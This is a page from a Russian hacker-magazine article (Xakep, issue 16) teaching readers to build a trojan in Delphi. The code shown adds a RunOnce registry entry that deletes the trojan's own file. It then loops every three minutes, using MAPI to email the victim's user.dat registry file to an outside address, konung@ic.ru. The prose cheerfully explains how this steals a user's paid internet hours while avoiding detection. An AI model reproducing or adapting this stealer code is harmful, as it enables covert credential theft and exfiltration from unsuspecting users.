Рождение дьявола

Xakep, номер #016, стр. 016-058-3


if Xapakipi then

begin

RootKey:=HKEY_LOCAL_MACHINE;

OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce', True);

WriteString('LMD', 'del "'+ParamStr(0)+'"');

Send:=False;

end;

end;

Reg.Free;

То есть просто прописать удаление собственного файла в RunOnce - после выполнения строчка будет удалена системой автоматически. И все - юзер может даже и не узнать никогда, почему у него оказалось на пару-тройку часиков Инета меньше, чем положено.

Чтобы лишний раз не светиться (юзер умный нынче пошел :-P), можно быстренько закругляться, если ничего посылать не нужно:

if not Send then Exit;

Папаша, принимайте дитё!

Настала очередь и для отсылки user.dat. Первым делом его надо найти - я не шучу. Не у всех юзеров виндовза поставлена в C:\WINDOWS. Некоторые выпендриваются и ставят ось, например, в какой-нибудь F:\MUSTDIE). Но это уже непосредственно после того, как получим доступ к почтовым службам. Поэтому сначала определимся: есть ли доступ? Для этого служит функция из Win32API MAPILogon. Если все в порядке, она возвращает ноль. И тогда наступает время генерировать почтовое сообщение и аттачить к нему филе. Подробнее об этом можно почитать в любой книжке по Win32 API. Скажу лишь, что для создания сообщения требуется заполнить структуру MAPIMessage и соответствующие подструктуры MAPIRecipDesc (получатели) и MAPIFileDesc (аттачи). Как видно из исходника, адрес получателя указывается в lpRecips->lpszAddress.

repeat

if MAPILogon(0, nil, nil, 0, 0, @Handle) = 0 then

try

ZeroMemory(@Msg, sizeof(Msg));

with Msg do

begin

lpszNoteText:='message delivery. notification system v.01 |';

lpszSubject:=nil;

nRecipCount:=1;

GetMem(lpRecips, sizeof(TMapiRecipDesc));

ZeroMemory(lpRecips, sizeof(TMapiRecipDesc));

with lpRecips^ do

begin

ulRecipClass:=MAPI_TO;

lpszName:='Xakep';

lpszAddress:='SMTP:konung@ic.ru';

end;

nFileCount:=1;

GetMem(lpFiles, sizeof(TMapiFileDesc));

ZeroMemory(lpFiles, sizeof(TMapiFileDesc));

with lpFiles^ do

begin

GetMem(lpszPathName, 144);

GetWindowsDirectory(lpszPathName, 144);

StrCat(lpszPathName, 'user.dat');

nPosition:=StrLen(lpszNoteText)-4;

end;

MAPISendMail(Handle, 0, Msg, 0, 0);

FreeMem(lpRecips, sizeof(TMapiRecipDesc));

FreeMem(lpFiles^.lpszPathName, 144);

FreeMem(lpFiles, sizeof(TMapiFileDesc));

end;

finally

MAPILogoff(Handle, 0, 0, 0);

Exit;

end;

Sleep(3*60*1000);

until False;

Все. Осталось дожидаться пока юзер прилогинится к своему провайдеру и зайдет в Сеть. Sleep(3*60*1000) - ждем три минуты и потом пытаемся постучаться в дверь снова - не стоит перегружать компьютер ненужной работой, а то сразу станет заметно присутствие посторонних. После того как сообщение отослано, троян быстренько сворачивает свою бурную деятельность. :-)

Назад на стр. 016-058-2  Содержание  Вперед на стр. 016-058-4